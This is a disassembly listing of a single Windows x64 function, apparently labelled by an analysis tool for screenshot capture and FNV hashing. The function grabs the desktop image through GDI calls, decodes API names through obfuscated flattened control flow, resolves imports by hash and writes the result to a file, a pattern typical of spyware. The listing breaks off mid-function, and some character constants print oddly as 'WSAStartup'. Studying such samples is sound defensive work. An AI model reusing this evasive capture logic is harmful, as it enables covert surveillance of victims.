Function at 0x180001000
Capabilities:
Capture screenshot
Hash data using fnv

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x3f48
call fcn.1800ba020
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x3eb0], xmm6
mov qword [rbp + 0x3ea8], 0xfffffffffffffffe
mov qword [rbp + 0x3e48], rcx
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov r15, rax
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDC]
mov r14, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r12, rax
test r14, r14
je 0x18000309b
test r12, r12
je 0x18000309b
mov rsi, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 0x4e
call rsi
mov ebx, eax
mov ecx, 0x4f
call rsi
mov r13d, eax
mov ecx, 0x4c
call rsi
mov edi, eax
mov ecx, 0x4d
call rsi
mov esi, eax
mov rcx, r14
mov edx, ebx
mov r8d, r13d
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
test rax, rax
je 0x18000309b
mov rcx, r12
mov qword [rbp + 0x3e38], r15
mov r15, rax
mov rdx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
mov qword [rbp + 0x3e30], rax
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r13d
mov dword [rsp + 0x40], 0xcc0020
mov rcx, r12
xor edx, edx
xor r8d, r8d
mov r9d, ebx
call qword [sym.imp.GDI32.dll_BitBlt]
xorps xmm6, xmm6
movaps xmmword [rbp + 0x3e00], xmm6
movaps xmmword [rbp + 0x3df0], xmm6
lea r8, [rbp + 0x3df0]
mov rcx, r15
mov edx, 0x20
call qword [sym.imp.GDI32.dll_GetObjectA]
mov dword [rbp + 0x3dc8], 0x28
mov eax, dword [rbp + 0x3df4]
mov ecx, dword [rbp + 0x3df8]
mov dword [rbp + 0x3dcc], eax
mov dword [rbp + 0x3dd0], ecx
mov dword [rbp + 0x3dd4], 0x180001
shl eax, 3
lea edx, [rax + rax*2]
add edx, 0x1f
lea eax, [rax + rax*2]
add eax, 0x3e
test edx, edx
cmovns eax, edx
sar eax, 5
imul eax, ecx
shl eax, 2
movsxd rsi, eax
movups xmmword [rbp + 0x3dd8], xmm6
mov qword [rbp + 0x3de8], 0
mov rcx, rsi
call fcn.1800b9d6c
mov rdi, rax
mov rcx, rsi
call fcn.1800b9d6c
mov qword [rbp + 0x3e50], rax
lea rax, [rbp + 0x3dc8]
mov qword [rsp + 0x28], rax
mov qword [rbp + 0x3e40], rdi
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x30], 0
mov rcx, r14
mov qword [rbp + 0x3e28], r15
mov rdx, r15
mov r15, qword [rbp + 0x3e38]
xor r8d, r8d
mov r9d, r13d
call qword [sym.imp.GDI32.dll_GetDIBits]
mov dword [rbp + 0x3e90], 0x43
mov eax, 0xb982be73
nop word cs:[rax + rax]
nop
cmp eax, 0x3c125490
je 0x18000120c
cmp eax, 0xb982be73
jne 0x1800011f0
mov dword [rbp - 0x30], 0
mov eax, 0x3c125490
jmp 0x1800011f0
mov eax, dword [rbp + 0x3e90]
add eax, dword [rbp - 0x30]
mov byte [rbp - 0x30], al
mov dword [rbp + 0x3e70], WSAStartup
mov eax, 0xb982be73
nop word [rax + rax]
cmp eax, 0x3c125490
je 0x18000124f
cmp eax, 0xb982be73
jne 0x180001230
mov dword [rbp + 0x3e90], 0
mov eax, 0x3c125490
jmp 0x180001230
mov eax, dword [rbp + 0x3e70]
add eax, dword [rbp + 0x3e90]
mov byte [rbp - 0x2f], al
mov dword [rbp + 0x3e70], 0x65
mov eax, 0xb982be73
nop dword [rax]
cmp eax, 0x3c125490
je 0x18000128f
cmp eax, 0xb982be73
jne 0x180001270
mov dword [rbp + 0x3e90], 0
mov eax, 0x3c125490
jmp 0x180001270
mov eax, dword [rbp + 0x3e70]
add eax, dword [rbp + 0x3e90]
mov byte [rbp - 0x2e], al
lea rax, [rbp - 0x2d]
mov qword [rbp + 0x3e60], rax
mov byte [rbp + 0x3ea4], 0x61
mov ecx, 0xcd624c
lea rax, [0x1800dfb55]
nop dword [rax]
cmp ecx, 0x220d0f4c
je 0x18000140c
cmp ecx, 0xcd624c
jne 0x1800012c0
movsx ecx, byte [rbp + 0x3ea4]
mov dword [rbp + 0x3e88], ecx
mov ecx, 0xb982be73
nop word cs:[rax + rax]
cmp ecx, 0x3c125490
je 0x180001311
cmp ecx, 0xb982be73
jne 0x1800012f0
mov dword [rbp + 0x3e78], 0
mov ecx, 0x3c125490
jmp 0x1800012f0
mov ecx, dword [rbp + 0x3e88]
add ecx, dword [rbp + 0x3e78]
mov rdx, qword [rbp + 0x3e60]
mov byte [rdx], cl
mov rcx, qword [rbp + 0x3e60]
mov dword [rbp + 0x3e88], 0x74
mov edx, 0xb982be73
nop dword [rax]
cmp edx, 0x3c125490
je 0x180001361
cmp edx, 0xb982be73
jne 0x180001340
mov dword [rbp + 0x3e78], 0
mov edx, 0x3c125490
jmp 0x180001340
mov edx, dword [rbp + 0x3e88]
add edx, dword [rbp + 0x3e78]
mov byte [rcx + 1], dl
mov dword [rbp + 0x3e88], 0x65
mov edx, 0xb982be73
nop
cmp edx, 0x3c125490
je 0x1800013a1
cmp edx, 0xb982be73
jne 0x180001380
mov dword [rbp + 0x3e78], 0
mov edx, 0x3c125490
jmp 0x180001380
mov edx, dword [rbp + 0x3e88]
add edx, dword [rbp + 0x3e78]
mov byte [rcx + 2], dl
mov dword [rbp + 0x3e88], 0x46
mov edx, 0xb982be73
nop
cmp edx, 0x3c125490
je 0x1800013e1
cmp edx, 0xb982be73
jne 0x1800013c0
mov dword [rbp + 0x3e78], 0
mov edx, 0x3c125490
jmp 0x1800013c0
mov edx, dword [rbp + 0x3e88]
add edx, dword [rbp + 0x3e78]
mov byte [rcx + 3], dl
add rcx, 4
mov qword [rbp + 0x3e70], rcx
mov qword [rbp + 0x3e90], rax
mov ecx, 0x220d0f4c
jmp 0x1800012c0
mov rax, qword [rbp + 0x3e90]
movsx eax, byte [rax]
mov dword [rbp + 0x3e88], eax
mov eax, 0xb982be73
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x3c125490
je 0x18000144f
cmp eax, 0xb982be73
jne 0x180001430
mov dword [rbp + 0x3e78], 0
mov eax, 0x3c125490
jmp 0x180001430
mov eax, dword [rbp + 0x3e88]
add eax, dword [rbp + 0x3e78]
mov rcx, qword [rbp + 0x3e70]
mov byte [rcx], al
mov rax, qword [rbp + 0x3e70]
mov dword [rbp + 0x3e88], WSAStartup
mov ecx, 0xb982be73
nop word [rax + rax]
cmp ecx, 0x3c125490
je 0x1800014a1
cmp ecx, 0xb982be73
jne 0x180001480
mov dword [rbp + 0x3e78], 0
mov ecx, 0x3c125490
jmp 0x180001480
mov ecx, dword [rbp + 0x3e88]
add ecx, dword [rbp + 0x3e78]
mov byte [rax + 1], cl
mov dword [rbp + 0x3e88], 0x65
mov ecx, 0xb982be73
nop
cmp ecx, 0x3c125490
je 0x1800014e1
cmp ecx, 0xb982be73
jne 0x1800014c0
mov dword [rbp + 0x3e78], 0
mov ecx, 0x3c125490
jmp 0x1800014c0
mov ecx, dword [rbp + 0x3e88]
add ecx, dword [rbp + 0x3e78]
mov byte [rax + 2], cl
mov dword [rbp + 0x3e88], 0x57
mov ecx, 0xb982be73
nop
cmp ecx, 0x3c125490
je 0x180001521
cmp ecx, 0xb982be73
jne 0x180001500
mov dword [rbp + 0x3e78], 0
mov ecx, 0x3c125490
jmp 0x180001500
mov qword [rbp + 0x3e20], r12
mov qword [rbp + 0x3e18], r14
mov ecx, dword [rbp + 0x3e88]
add ecx, dword [rbp + 0x3e78]
mov byte [rax + 3], cl
mov byte [rax + 4], 0
mov ebx, 0x58dc25b9
lea rax, [rbp - 0x30]
mov esi, 0x6ef83c56
jmp 0x180001560
mov ebx, 0x2899f5b9
mov rdx, qword [rbp + 0x3e70]
nop
cmp ebx, 0x3f0160ac
jle 0x1800015e0
cmp ebx, 0x6775d8aa
jle 0x180001620
cmp ebx, 0x6775d8ab
je 0x180001552
cmp ebx, 0x6ef83c56
jne 0x1800016db
mov rbx, qword [rbp + 0x3e90]
add rbx, rax
mov qword [rbp + 0x3e60], rbx
mov rbx, qword [rbp + 0x3e60]
movsx ebx, byte [rbx]
mov edi, 0x3ee71a5e
nop dword [rax + rax]
cmp edi, 0x6e0e1b14
je 0x180001677
cmp edi, 0x3ee71a5e
jne 0x1800015b0
mov dword [rbp + 0x3ea0], ebx
mov dword [rbp + 0x3ea4], 0
mov edi, 0x6e0e1b14
jmp 0x1800015b0
cmp ebx, 0x6570307
jg 0x180001640
cmp ebx, 0xc646da67
je 0x180001693
cmp ebx, 0xededc2ea
jne 0x180001560
mov rbx, qword [rbp + 0x3e88]
mov qword [rbp + 0x3e78], rbx
mov ebx, 0x76b4d654
jmp 0x180001560
cmp ebx, 0x3f0160ad
je 0x1800016a4
cmp ebx, 0x58dc25b9
jne 0x180001560
mov ebx, 0x6570308
jmp 0x180001560
cmp ebx, 0x6570308
je 0x1800016cf
cmp ebx, 0x2899f5b9
jne 0x180001560
mov qword [rbp + 0x3e90], rdx
mov rbx, qword [rbp + 0x3e90]
cmp rbx, 0xb
mov ebx, 0xc646da67
cmovb ebx, esi
jmp 0x180001560
mov ebx, dword [rbp + 0x3ea0]
sub ebx, dword [rbp + 0x3ea4]
mov byte [rbp + 0x3e5c], bl
mov ebx, 0x3f0160ad
jmp 0x180001560
mov qword [rbp + 0x3e88], rax
mov ebx, 0xededc2ea
jmp 0x180001560
mov rbx, qword [rbp + 0x3e60]
mov cl, byte [rbp + 0x3e5c]
mov byte [rbx], cl
mov rcx, qword [rbp + 0x3e90]
add rcx, 1
mov qword [rbp + 0x3e70], rcx
mov ebx, 0x6775d8ab
jmp 0x180001560
mov ebx, 0x2899f5b9
xor edx, edx
jmp 0x180001560
cmp ebx, 0x76b4d654
jne 0x180001560
mov r12, qword [rbp + 0x3e78]
mov esi, 0x33441fd
mov r8d, 0xc55f42c0
mov r9d, 0x44ae6cdf
mov r10d, 0xa2c3fecf
mov r11d, 0xc6270bf4
movabs r14, 0xcbf29ce484222325
mov r13d, 0xb3daae30
jmp 0x180001730
mov esi, 0xdc1cecb0
mov edx, dword [rbp + 0x3e78]
nop dword [rax + rax]
cmp esi, 0x13a998c3
jle 0x180001780
cmp esi, 0x4bb9cd4c
jle 0x1800017f0
cmp esi, 0x5b4f80db
jg 0x180001889
cmp esi, 0x4bb9cd4d
je 0x180001970
cmp esi, 0x4be7891d
je 0x180001999
cmp esi, 0x536d4b7d
jne 0x180001730
mov esi, 0x4bb9cd4d
xor ecx, ecx
mov rdi, r14
jmp 0x180001730
cmp esi, 0xc55f42bf
jle 0x180001840
cmp esi, 0xe75dcd97
jg 0x1800018c2
cmp esi, 0xc55f42c0
je 0x1800019c7
cmp esi, 0xc6270bf4
je 0x180001935
cmp esi, 0xdc1cecb0
jne 0x180001730
movsxd rdi, edx
xor rdi, qword [rbp + 0x3e90]
movabs rax, 0x100000001b3
imul rdi, rax
mov ecx, dword [rbp + 0x3e70]
add ecx, 1
mov esi, 0x4bb9cd4d
jmp 0x180001730
cmp esi, 0x3d388a81
jle 0x1800018e4
cmp esi, 0x3d388a82
je 0x1800019e1
cmp esi, 0x3db06820
je 0x18000194f
cmp esi, 0x44ae6cdf
jne 0x180001730
mov eax, dword [rbp + 0x3e88]
or eax, 0x20
mov dword [rbp + 0x3e78], eax
mov esi, 0xb22ad937
jmp 0x180001730
cmp esi, 0xa798a1fe
jle 0x180001902
cmp esi, 0xa798a1ff
je 0x180001a08
cmp esi, 0xb22ad937
je 0x18000171d
cmp esi, 0xb3daae30
jne 0x180001730
mov esi, dword [rbp + 0x3e60]
add esi, 1
mov dword [rbp + 0x3ea4], esi
mov esi, 0x3803e938
jmp 0x180001730
cmp esi, 0x5b4f80dc
je 0x180001a1d
cmp esi, 0x60093e63
je 0x180001a27
cmp esi, 0x7f4902df
jne 0x180001730
cmp byte [rbp + 0x3e87], 0
mov esi, 0x5b4f80dc
cmovne esi, r13d
jmp 0x180001730
cmp esi, 0xe75dcd98
je 0x180001a37
cmp esi, 0x33441fd
jne 0x180001a51
mov esi, 0x3db06820
jmp 0x180001730
cmp esi, 0x13a998c4
je 0x18000195b
cmp esi, 0x3803e938
jne 0x180001730
mov esi, 0x60093e63
jmp 0x180001730
cmp esi, 0x94f841a0
je 0x180001a41
cmp esi, 0xa2c3fecf
jne 0x180001730
mov eax, dword [rbp + 0x3e70]
movzx eax, byte [r12 + rax]
mov byte [rbp + 0x3e9f], al
mov esi, 0x3d388a82
jmp 0x180001730
mov esi, dword [rbp + 0x3ea0]
cmp esi, 0x7f
setl byte [rbp + 0x3e87]
mov esi, 0x7f4902df
jmp 0x180001730
mov esi, 0x4be7891d
xor ebx, ebx
jmp 0x180001730
cmp byte [rbp + 0x3e5c], 0
mov esi, 0x94f841a0
cmovne esi, r9d
jmp 0x180001730
mov dword [rbp + 0x3e70], ecx
mov qword [rbp + 0x3e90], rdi
mov esi, dword [rbp + 0x3e60]
mov eax, dword [rbp + 0x3e70]
cmp eax, esi
mov esi, 0x9067d15
cmovb esi, r10d
jmp 0x180001730
mov dword [rbp + 0x3e60], ebx
mov esi, dword [rbp + 0x3e60]
movsx esi, byte [r12 + rsi]
mov dword [rbp + 0x3ea0], esi
mov esi, dword [rbp + 0x3ea0]
cmp esi, 0x1f
mov esi, 0x5b4f80dc
cmovg esi, r11d
jmp 0x180001730
mov eax, dword [rbp + 0x3e88]
cmp eax, 0x5b
setl byte [rbp + 0x3e5c]
mov esi, 0x13a998c4
jmp 0x180001730
movsx eax, byte [rbp + 0x3e9f]
mov dword [rbp + 0x3e88], eax
mov eax, dword [rbp + 0x3e88]
cmp eax, 0x40
setg byte [rbp + 0x3e58]
mov esi, 0xa798a1ff
jmp 0x180001730
cmp byte [rbp + 0x3e58], 0
mov esi, 0x94f841a0
cmovne esi, r8d
jmp 0x180001730
mov esi, 0xe75dcd98
jmp 0x180001730
mov esi, 0x4be7891d
mov ebx, dword [rbp + 0x3ea4]
jmp 0x180001730
mov esi, 0x536d4b7d
jmp 0x180001730
mov esi, 0xdc1cecb0
mov edx, dword [rbp + 0x3e88]
jmp 0x180001730
cmp esi, 0x9067d15
jne 0x180001730
mov rcx, qword [rbp + 0x3e90]
call fcn.1800ae820
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
mov rcx, qword [rbp + 0x3e48]
mov edx, 0x40000000
xor r8d, r8d
xor r9d, r9d
call rax
cmp rax, 0xffffffffffffffff
je 0x180003058
mov rdi, rax
mov dword [rbp + 0x3e5c], 0
lea rsi, [rbp - 0x30]
mov rcx, rsi
mov edx, 0x32
call fcn.1800b1d40
mov r9d, dword [rbp + 0x3df4]
mov eax, dword [rbp + 0x3df8]
lea rcx, [rbp + 0x3e5c]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
mov rcx, rsi
mov rdx, qword [rbp + 0x3e40]
mov r8, qword [rbp + 0x3e50]
call fcn.1800b3eb0
lea r14, [rbp - 0x30]
mov rcx, r14
call fcn.18001e9e0
mov dword [rbp + 0x3e58], 0
mov dword [rbp + 0x3e70], 0x57
mov eax, 0xb6948ccd
nop word cs:[rax + rax]
cmp eax, 0x68f53c51
je 0x180001b89
cmp eax, 0xb6948ccd
jne 0x180001b20
mov eax, 0xf36d775e
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x8e24f6af
je 0x180001b5c
cmp eax, 0xf36d775e
jne 0x180001b40
mov dword [rbp - 0x30], 0x54
mov eax, 0x8e24f6af
jmp 0x180001b40
movsxd rax, dword [rbp - 0x30]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x3e90], eax
mov eax, 0x68f53c51
jmp 0x180001b20
mov eax, dword [rbp + 0x3e70]
add eax, dword [rbp + 0x3e90]
mov byte [rbp - 0x30], al
mov dword [rbp + 0x3e60], WSAStartup
mov eax, 0xb6948ccd
nop word [rax + rax]
cmp eax, 0x68f53c51
je 0x180001c1f
cmp eax, 0xb6948ccd
jne 0x180001bb0
mov eax, 0xf36d775e
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x8e24f6af
je 0x180001bef
cmp eax, 0xf36d775e
jne 0x180001bd0
mov dword [rbp + 0x3e90], 0x54
mov eax, 0x8e24f6af
jmp 0x180001bd0
movsxd rax, dword [rbp + 0x3e90]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x3e70], eax
mov eax, 0x68f53c51
jmp 0x180001bb0
mov eax, dword [rbp + 0x3e60]
add eax, dword [rbp + 0x3e70]
mov byte [rbp - 0x2f], al
lea rax, [rbp - 0x2e]
mov qword [rbp + 0x3e60], rax
lea rax, [0x1800dfa5c]
mov qword [rbp + 0x3e70], rax
mov eax, 0xae08343
nop dword [rax]
cmp eax, 0xdb162042
je 0x180001d20
cmp eax, 0xae08343
jne 0x180001c50
mov rax, qword [rbp + 0x3e70]
movsx eax, byte [rax]
mov dword [rbp + 0x3ea4], eax
mov eax, 0xb6948ccd
nop word [rax + rax]
cmp eax, 0x68f53c51
je 0x180001cef
cmp eax, 0xb6948ccd
jne 0x180001c80
mov eax, 0xf36d775e
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x8e24f6af
je 0x180001cbf
cmp eax, 0xf36d775e
jne 0x180001ca0
mov dword [rbp + 0x3e78], 0x54
mov eax, 0x8e24f6af
jmp 0x180001ca0
movsxd rax, dword [rbp + 0x3e78]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x3e88], eax
mov eax, 0x68f53c51
jmp 0x180001c80
mov eax, dword [rbp + 0x3ea4]
add eax, dword [rbp + 0x3e88]
mov rcx, qword [rbp + 0x3e60]
mov byte [rcx], al
mov rax, qword [rbp + 0x3e60]
add rax, 1
mov qword [rbp + 0x3e90], rax
mov eax, 0xdb162042
jmp 0x180001c50
mov dword [rbp + 0x3ea4], 0x74
mov eax, 0xb6948ccd
nop
cmp eax, 0x68f53c51
je 0x180001d9f
cmp eax, 0xb6948ccd
jne 0x180001d30
mov eax, 0xf36d775e
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x8e24f6af
je 0x180001d6f
cmp eax, 0xf36d775e
jne 0x180001d50
mov dword [rbp + 0x3e78], 0x54
mov eax, 0x8e24f6af
jmp 0x180001d50
movsxd rax, dword [rbp + 0x3e78]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x3e88], eax
mov eax, 0x68f53c51
jmp 0x180001d30
mov eax, dword [rbp + 0x3ea4]
add eax, dword [rbp + 0x3e88]
mov rcx, qword [rbp + 0x3e90]
mov byte [rcx], al
mov rax, qword [rbp + 0x3e90]
mov dword [rbp + 0x3ea4], 0x65
mov ecx, 0xb6948ccd
nop word [rax + rax]
cmp ecx, 0x68f53c51
je 0x180001e41
cmp ecx, 0xb6948ccd
jne 0x180001dd0
mov ecx, 0xf36d775e
nop word cs:[rax + rax]
nop
cmp ecx, 0x8e24f6af
je 0x180001e11
cmp ecx, 0xf36d775e
jne 0x180001df0
mov dword [rbp + 0x3e78], 0x54
mov ecx, 0x8e24f6af
jmp 0x180001df0
movsxd rcx, dword [rbp + 0x3e78]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x3e88], ecx
mov ecx, 0x68f53c51
jmp 0x180001dd0
mov ecx, dword [rbp + 0x3ea4]
add ecx, dword [rbp + 0x3e88]
mov byte [rax + 1], cl
mov dword [rbp + 0x3ea4], 0x46
mov ecx, 0xb6948ccd
nop
cmp ecx, 0x68f53c51
je 0x180001ed1
cmp ecx, 0xb6948ccd
jne 0x180001e60
mov ecx, 0xf36d775e
nop word cs:[rax + rax]
nop
cmp ecx, 0x8e24f6af
je 0x180001ea1
cmp ecx, 0xf36d775e
jne 0x180001e80
mov dword [rbp + 0x3e78], 0x54
mov ecx, 0x8e24f6af
jmp 0x180001e80
movsxd rcx, dword [rbp + 0x3e78]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x3e88], ecx
mov ecx, 0x68f53c51
jmp 0x180001e60
mov ecx, dword [rbp + 0x3ea4]
add ecx, dword [rbp + 0x3e88]
mov byte [rax + 2], cl
mov dword [rbp + 0x3ea4], 0x69
mov ecx, 0xb6948ccd
nop
cmp ecx, 0x68f53c51
je 0x180001f61
cmp ecx, 0xb6948ccd
jne 0x180001ef0
mov ecx, 0xf36d775e
nop word cs:[rax + rax]
nop
cmp ecx, 0x8e24f6af
je 0x180001f31
cmp ecx, 0xf36d775e
jne 0x180001f10
mov dword [rbp + 0x3e78], 0x54
mov ecx, 0x8e24f6af
jmp 0x180001f10
movsxd rcx, dword [rbp + 0x3e78]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x3e88], ecx
mov ecx, 0x68f53c51
jmp 0x180001ef0
mov ecx, dword [rbp + 0x3ea4]
add ecx, dword [rbp + 0x3e88]
mov byte [rax + 3], cl
mov dword [rbp + 0x3ea4], WSAStartup
mov ecx, 0xb6948ccd
nop
cmp ecx, 0x68f53c51
je 0x180001ff1
cmp ecx, 0xb6948ccd
jne 0x180001f80
mov ecx, 0xf36d775e
nop word cs:[rax + rax]
nop
cmp ecx, 0x8e24f6af
je 0x180001fc1
cmp ecx, 0xf36d775e
jne 0x180001fa0
mov dword [rbp + 0x3e78], 0x54
mov ecx, 0x8e24f6af
jmp 0x180001fa0
movsxd rcx, dword [rbp + 0x3e78]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x3e88], ecx
mov ecx, 0x68f53c51
jmp 0x180001f80
mov ecx, dword [rbp + 0x3ea4]
add ecx, dword [rbp + 0x3e88]
mov byte [rax + 4], cl
mov dword [rbp + 0x3ea4], 0x65
mov ecx, 0xb6948ccd
nop
cmp ecx, 0x68f53c51
je 0x180002081
cmp ecx, 0xb6948ccd
jne 0x180002010
mov ecx, 0xf36d775e
nop word cs:[rax + rax]
nop
cmp ecx, 0x8e24f6af
je 0x180002051
cmp ecx, 0xf36d775e
jne 0x180002030
mov dword [rbp + 0x3e78], 0x54
mov ecx, 0x8e24f6af
jmp 0x180002030
movsxd rcx, dword [rbp + 0x3e78]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov dword [rbp + 0x3e88], ecx
mov ecx, 0x68f53c51
jmp 0x180002010
mov qword [rbp + 0x3e48], rdi
mov ecx, dword [rbp + 0x3ea4]
add ecx, dword [rbp + 0x3e88]
mov byte [rax + 5], cl
mov byte [rax + 6], 0
mov edx, 0x2b3ca669
mov esi, 0x8b446619
jmp 0x1800020c0
mov qword [rbp + 0x3e60], r14
mov edx, 0xf297569
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1c4eda9a
jg 0x180002120
cmp edx, 0xf8f44992
jle 0x180002150
cmp edx, 0xe165bb4
je 0x1800021b2
cmp edx, 0xf297569
jne 0x18000228e
mov rdx, qword [rbp + 0x3e60]
add rdx, qword [rbp + 0x3e90]
mov qword [rbp + 0x3e70], rdx
mov rdx, qword [rbp + 0x3e70]
mov dl, byte [rdx]
mov byte [rbp + 0x3e9f], dl
mov edx, 0xe165bb4
jmp 0x1800020c0
cmp edx, 0x2b3ca668
jg 0x180002190
cmp edx, 0x1c4eda9b
je 0x180002241
cmp edx, 0x2799865c
jne 0x1800020c0
mov edx, 0xb43e1845
xor ecx, ecx
jmp 0x1800020c0
cmp edx, 0x8b446619
je 0x1800020a7
cmp edx, 0xb43e1845
jne 0x1800020c0
mov qword [rbp + 0x3e90], rcx
mov rdx, qword [rbp + 0x3e90]
cmp rdx, 9
mov edx, 0x1c4eda9b
cmovb edx, esi
jmp 0x1800020c0
cmp edx, 0x30eb2d1e
je 0x180002252
cmp edx, 0x2b3ca669
jne 0x1800020c0
mov edx, 0x2799865c
jmp 0x1800020c0
mov al, byte [rbp + 0x3e9f]
mov edx, 0x154c07bf
jmp 0x180002200
movsxd rdx, dword [rbp + 0x3ea4]
imul rbx, rdx, 0x4ec4ec4f
mov rdi, rbx
shr rdi, 0x3f
shr rbx, 0x22
add ebx, edi
lea edi, [rbx + rbx*2]
lea ebx, [rbx + rdi*4]
sub edx, ebx
mov ecx, eax
sub cl, dl
mov byte [rbp + 0x3ea0], cl
mov edx, 0xe29a228a
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xe29a228a
je 0x18000226a
cmp edx, 0x154c07bf
jne 0x180002200
mov edx, 0xf36d775e
nop word cs:[rax + rax]
nop
cmp edx, 0x8e24f6af
je 0x1800021bf
cmp edx, 0xf36d775e
jne 0x180002220
mov dword [rbp + 0x3ea4], 0x54
mov edx, 0x8e24f6af
jmp 0x180002220
mov qword [rbp + 0x3e88], r14
mov edx, 0x30eb2d1e
jmp 0x1800020c0
mov rdx, qword [rbp + 0x3e88]
mov qword [rbp + 0x3e78], rdx
mov edx, 0xf8f44993
jmp 0x1800020c0
mov al, byte [rbp + 0x3ea0]
mov rcx, qword [rbp + 0x3e70]
mov byte [rcx], al
mov rcx, qword [rbp + 0x3e90]
add rcx, 1
mov edx, 0xb43e1845
jmp 0x1800020c0
cmp edx, 0xf8f44993
jne 0x1800020c0
mov rax, qword [rbp + 0x3e78]
mov r12d, 0x33441fd
mov r8d, 0xc55f42c0
mov r9d, 0x44ae6cdf
mov r10d, 0xa2c3fecf
mov r11d, 0xc6270bf4
movabs r13, 0xcbf29ce484222325
mov r15d, 0xb3daae30
jmp 0x1800022e0
mov r12d, 0xdc1cecb0
mov edx, dword [rbp + 0x3e88]
nop dword [rax]
cmp r12d, 0x13a998c3
jle 0x180002340
cmp r12d, 0x4bb9cd4c
jle 0x1800023b0
cmp r12d, 0x5b4f80db
jg 0x18000244e
cmp r12d, 0x4bb9cd4d
je 0x18000250a
cmp r12d, 0x4be7891d
je 0x180002535
cmp r12d, 0x536d4b7d
jne 0x1800022e0
mov r12d, 0x4bb9cd4d
xor r14d, r14d
mov rdi, r13
jmp 0x1800022e0
cmp r12d, 0xc55f42bf
jle 0x180002400
cmp r12d, 0xe75dcd97
jg 0x18000248b
cmp r12d, 0xc55f42c0
je 0x180002563
cmp r12d, 0xc6270bf4
je 0x18000257e
cmp r12d, 0xdc1cecb0
jne 0x1800022e0
movsxd rdi, edx
xor rdi, qword [rbp + 0x3e90]
movabs rcx, 0x100000001b3
imul rdi, rcx
mov r14d, dword [rbp + 0x3e70]
add r14d, 1
mov r12d, 0x4bb9cd4d
jmp 0x1800022e0
cmp r12d, 0x3d388a81
jle 0x1800024b0
cmp r12d, 0x3d388a82
je 0x180002599
cmp r12d, 0x3db06820
je 0x1800025c1
cmp r12d, 0x44ae6cdf
jne 0x1800022e0
mov ecx, dword [rbp + 0x3e88]
or ecx, 0x20
mov dword [rbp + 0x3e78], ecx
mov r12d, 0xb22ad937
jmp 0x1800022e0
cmp r12d, 0xa798a1fe
jle 0x1800024d5
cmp r12d, 0xa798a1ff
je 0x1800025ce
cmp r12d, 0xb22ad937
je 0x1800025e4
cmp r12d, 0xb3daae30
jne 0x1800022e0
mov ecx, dword [rbp + 0x3e60]
add ecx, 1
mov dword [rbp + 0x3ea4], ecx
mov r12d, 0x3803e938
jmp 0x1800022e0
cmp r12d, 0x5b4f80dc
je 0x1800025f5
cmp r12d, 0x60093e63
je 0x180002600
cmp r12d, 0x7f4902df
jne 0x1800022e0
cmp byte [rbp + 0x3e6f], 0
mov r12d, 0x5b4f80dc
cmovne r12d, r15d
jmp 0x1800022e0
cmp r12d, 0xe75dcd98
je 0x180002611
cmp r12d, 0x33441fd
jne 0x180002632
mov r12d, 0x3db06820
jmp 0x1800022e0
cmp r12d, 0x13a998c4
je 0x18000261c
cmp r12d, 0x3803e938
jne 0x1800022e0
mov r12d, 0x60093e63
jmp 0x1800022e0
cmp r12d, 0x94f841a0
je 0x1800022d1
cmp r12d, 0xa2c3fecf
jne 0x1800022e0
mov ecx, dword [rbp + 0x3e70]
movzx ecx, byte [rax + rcx]
mov byte [rbp + 0x3e6e], cl
